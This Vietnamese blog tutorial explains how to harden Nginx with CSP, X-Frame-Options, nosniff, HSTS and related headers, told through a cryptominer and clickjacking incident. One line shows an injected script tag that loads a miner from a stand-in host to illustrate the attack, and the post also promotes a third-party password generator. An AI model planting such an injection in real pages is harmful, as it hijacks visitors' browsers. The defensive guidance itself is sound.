Posted inSecurity

Gia cố bảo mật Nginx với Content Security Policy (CSP) và HTTP Security Headers

Security tutorial - IT technology blog
Security tutorial - IT technology blog

Cảnh báo lúc 2:15 sáng: Mã độc đào coin xuất hiện trên Dashboard của khách hàng

Chiếc điện thoại của tôi rung bần bật trên tủ đầu giường lúc 2:15 sáng ngày thứ Ba. PagerDuty bắn liên tiếp ba cảnh báo khẩn cấp chỉ trong vòng sáu mươi giây. Hơn 1.200 người dùng đang truy cập cổng thanh toán của chúng tôi, và trình duyệt của họ liên tục kích hoạt các kết nối WebSocket bất thường ra bên ngoài đến một địa chỉ IP lạ tại Đông Âu.

Mức sử dụng CPU của máy khách tăng vọt lên 98% chỉ vài giây sau khi tải trang dashboard. Một đoạn script đào Monero trái phép đang âm thầm thực thi trực tiếp ngay trên tab trình duyệt của khách hàng. Chưa dừng lại ở đó, một lớp phủ iframe vô hình còn đè lên nút thanh toán nhằm chiếm đoạt toàn bộ thông tin thẻ tín dụng được nhập vào.

Log từ hệ thống backend đưa ra những dữ liệu đầy khó hiểu. Toàn bộ câu truy vấn PostgreSQL đều đã dùng parameterized statements. Dữ liệu đầu vào của người dùng đều được lọc sạch theo các tài liệu hướng dẫn của OWASP. Mọi khâu kiểm tra trong CI pipeline đều vượt qua trơn tru. Thế nhưng, mã JavaScript không rõ nguồn gốc vẫn ngang nhiên chạy trong phiên làm việc của người dùng.

Kiểm tra nhanh trên SecurityHeaders.com, proxy Nginx công khai của chúng tôi bị đánh tụt xuống mức điểm ‘F’. Chúng tôi hoàn toàn không có bất kỳ lớp phòng vệ nào chống nhúng frame, không giới hạn nguồn tải script từ xa và cũng không có biện pháp bảo vệ MIME-type. Khi tầng xử lý dữ liệu ở cấp ứng dụng bỏ sót một trường hợp ngoại lệ (edge case), các HTTP header chính là tấm lưới an toàn cuối cùng của bạn. Đêm hôm đó, reverse proxy của chúng tôi lại để phản hồi lọt ra ngoài trong tình trạng hoàn toàn “trần trụi”.

Tại sao trình duyệt mặc định thực thi các payload độc hại?

Trình duyệt luôn mặc định tin tưởng tuyệt đối phản hồi từ máy chủ trừ khi bạn yêu cầu chúng làm ngược lại. Chỉ cần chèn một đoạn mã đơn giản như <script src="https://evil-cdn.org/miner.js"> vào phần xem trước Markdown hoặc trường thông tin cá nhân, Chrome sẽ tải về và thực thi nó ngay lập tức mà không hề đắn đo.

Phân tích access log và packet dump trên Nginx đã làm sáng tỏ ba lỗ hổng nghiêm trọng:

  • Thiếu Content Security Policy: Khi không có header Content-Security-Policy, trình duyệt có thể tải các script bên ngoài từ bất kỳ tên miền nào trên Internet. Nó cũng cho phép thực thi trực tiếp các khối script nội dòng (inline script) mà không cần xác thực.
  • Không kiểm soát việc nhúng Iframe: Việc thiếu frame-ancestors và X-Frame-Options đã tạo điều kiện cho các website bên ngoài nhúng màn hình thanh toán của chúng tôi vào bên trong các iframe trong suốt. Điều này khiến các cuộc tấn công clickjacking trở nên cực kỳ dễ dàng.
  • Cho phép MIME Sniffing tùy tiện: Không có X-Content-Type-Options: nosniff, trình duyệt sẽ tự ý phỏng đoán định dạng tệp. Chúng sẵn sàng thực thi một tệp .png được tải lên có chứa mã JavaScript nhúng bên trong như một đoạn code thực thi nếu MIME type có dấu hiệu không rõ ràng.

Đánh giá ba chiến lược khắc phục

Chúng tôi cần phong tỏa vòng ngoài ngay lập tức. Các đội ngũ kỹ thuật thường cân nhắc ba tầng kiến trúc để gắn các security header:

1. Middleware cấp ứng dụng (Express Helmet, Django Security, Laravel Middleware)

Gắn header ở tầng ứng dụng hoạt động hiệu quả với các dịch vụ nhỏ, gói gọn trong một repository. Tuy nhiên, trong cụm Kubernetes gồm 14 microservice của chúng tôi, tình trạng sai lệch cấu hình (configuration drift) đã loại bỏ phương án này. Một dịch vụ viết bằng Go áp dụng các header rất nghiêm ngặt, trong khi một dịch vụ Rails cũ hơn lại dùng middleware lỗi thời. Tệ hơn nữa, các tài nguyên tĩnh được phân phối trực tiếp từ Amazon S3 hoặc bộ nhớ cache cục bộ của Nginx lại bỏ qua hoàn toàn mã nguồn của ứng dụng.

2. CDN và Edge Workers (Cloudflare Transform Rules)

Thêm header tại các node biên của Cloudflare chỉ mất vài phút. Dù vậy, nó tạo ra một sự phụ thuộc vào dịch vụ bên thứ ba. Nếu lưu lượng truy cập đi vòng qua CDN trong quá trình staging, khắc phục thảm họa (disaster recovery) hoặc kiểm thử nội bộ qua VPN, các máy chủ gốc (origin server) vẫn sẽ bị lộ sơ hở.

3. Gia cố bảo mật tập trung qua Nginx Reverse Proxy

Quản lý header trực tiếp trên Nginx đem lại sự đồng bộ toàn diện. Mọi phản hồi từ các cụm API upstream, microservice cho đến các thư mục tệp tĩnh đều được đóng dấu các quy tắc bảo mật nhất quán trước khi bất kỳ gói tin nào rời khỏi ranh giới mạng.

Từng bước thắt chặt bảo mật Nginx cho môi trường Production

Triển khai các header nghiêm ngặt một cách mù quáng sẽ làm gián đoạn hệ thống production. Các script phân tích hợp lệ sẽ bị chặn. Font chữ không thể hiển thị. Cửa sổ thanh toán Stripe đột ngột từ chối hoạt động. Dưới đây là quy trình chúng tôi triển khai một cấu hình vững chắc theo từng bước bài bản.

Bước 1: Rà soát tài nguyên đang hoạt động với chế độ Report-Only

Áp dụng ngay một chính sách khắt khe là hành động thiếu cân nhắc. Hãy bắt đầu với Content-Security-Policy-Report-Only. Chế độ này giám sát các vi phạm và gửi báo cáo JSON về endpoint ghi log của bạn mà không hề chặn các luồng công việc hợp lệ của người dùng.

# Kiểm tra cú pháp trước khi áp dụng bất kỳ thay đổi nào
sudo nginx -t

Thêm chỉ thị đo lường từ xa này vào bên trong block server của bạn:

# Giám sát vi phạm chính sách mà không làm gián đoạn script ở front-end
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.yoursite.com https://api.stripe.com; frame-ancestors 'none'; report-uri /api/v1/csp-reports;" always;

Hãy để cấu hình này chạy trong 24 giờ. Kiểm tra log để tìm các domain bị chặn. Đưa các endpoint CDN còn thiếu vào whitelist trước khi chính thức kích hoạt chế độ chặn.

Bước 2: Áp dụng các header bắt buộc

Khi bạn đã lập bản đồ đầy đủ các nguồn script hợp lệ, hãy chuyển chính sách sang chế độ thực thi bắt buộc. Mở tệp cấu hình virtual host trên Nginx (chẳng hạn như /etc/nginx/sites-available/app.conf):

server {
    listen 443 ssl;
    http2 on;
    server_name yoursite.com;

    ssl_certificate /etc/letsencrypt/live/yoursite.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yoursite.com/privkey.pem;

    # Content Security Policy: Chặn các script từ xa độc hại và nhúng frame trái phép
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.yoursite.com https://api.stripe.com; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; form-action 'self';" always;

    # Bảo vệ chống clickjacking cho các trình duyệt đời cũ
    add_header X-Frame-Options "DENY" always;

    # Chặn các cuộc tấn công gây nhầm lẫn MIME-type
    add_header X-Content-Type-Options "nosniff" always;

    # Giới hạn thông tin referrer trên các liên kết ra ngoài
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Hạn chế các API thiết bị có tính xâm phạm
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(self 'https://js.stripe.com')" always;

    # Bắt buộc dùng HTTPS trong hai năm bao gồm cả các subdomain
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

Bước 3: Xử lý bẫy kế thừa add_header trong Nginx

Nginx có một cơ chế cấu hình đặc thù rất dễ khiến các kỹ sư gặp bẫy. Chỉ thị add_header sẽ không kế thừa từ các block cha nếu một block con tự khai báo lệnh add_header riêng của nó. Nếu bạn thiết lập header trong block http rồi sau đó thêm add_header Cache-Control bên trong một block location /static/, Nginx sẽ xóa sạch toàn bộ các security header đã định nghĩa trước đó đối với các tệp tĩnh.

Tránh tình trạng lặp lại cấu hình này bằng cách tách các header dùng chung vào một snippet riêng có thể tái sử dụng:

sudo nano /etc/nginx/snippets/security-headers.conf

Đưa các khai báo header của bạn vào tệp snippet, sau đó include nó vào tất cả các block location:

location /static/ {
    alias /var/www/app/static/;
    include /etc/nginx/snippets/security-headers.conf;
    add_header Cache-Control "public, max-age=31536000, immutable";
}

Bước 4: Thu hồi và cấp lại thông tin xác thực hạ tầng bị ảnh hưởng

Song song với việc bịt kín vòng ngoài HTTP, chúng tôi cũng phải tiến hành đổi lại toàn bộ thông tin đăng nhập quản trị bị lộ trên toàn bộ cụm gồm 18 worker node. Tuyệt đối không bao giờ dán các thông tin bí mật của môi trường production vào các công cụ tạo mật khẩu trực tuyến có chứa quảng cáo, vốn truyền dữ liệu dạng văn bản thuần (cleartext) qua mạng.

Tôi thường tạo các chuỗi 64 ký tự có độ ngẫu nhiên cao bằng công cụ tạo mật khẩu chạy hoàn toàn ở phía client tại toolcraft.app/vi/tools/security/password-generator. Do công cụ này tạo tính ngẫu nhiên thông qua Web Crypto API của chính trình duyệt, các thông tin bảo mật sẽ không bao giờ chạm đến máy chủ bên ngoài hay tệp log nào. Chúng tôi đã đổi mới toàn bộ thông tin đăng nhập database, SSH và Redis chỉ trong vòng hai mươi phút.

Bước 5: Kiểm tra cấu hình qua CLI

Tải lại các tiến trình worker của Nginx một cách an toàn (graceful reload). Không rớt kết nối nào, không có thời gian gián đoạn hệ thống (zero downtime):

# Kiểm tra tính hợp lệ của cú pháp cấu hình
sudo nginx -t

# Tải lại cấu hình mà không ngắt kết nối của người dùng đang hoạt động
sudo systemctl reload nginx

# Kiểm tra các header thực tế trên endpoint production
curl -I https://yoursite.com

Terminal của bạn sẽ hiển thị đầy đủ bộ header phòng thủ:

HTTP/2 200
server: nginx
date: Tue, 15 Oct 2026 03:12:44 GMT
content-type: text/html; charset=UTF-8
content-security-policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net ...
x-frame-options: DENY
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
permissions-policy: camera=(), microphone=(), geolocation=(), payment=(self 'https://js.stripe.com')
strict-transport-security: max-age=63072000; includeSubDomains; preload

Đến 3:45 sáng, SecurityHeaders.com đã chấm tên miền của chúng tôi đạt điểm A+. Các script đào coin độc hại đã bị chặn ngay lập tức trên máy khách. Các iframe không thể nhúng, các lệnh gọi API trái phép bị dập tắt ngay từ sandbox của trình duyệt, và đội ngũ của chúng tôi cuối cùng cũng có thể khép lại kênh xử lý sự cố.

Share:
Tags: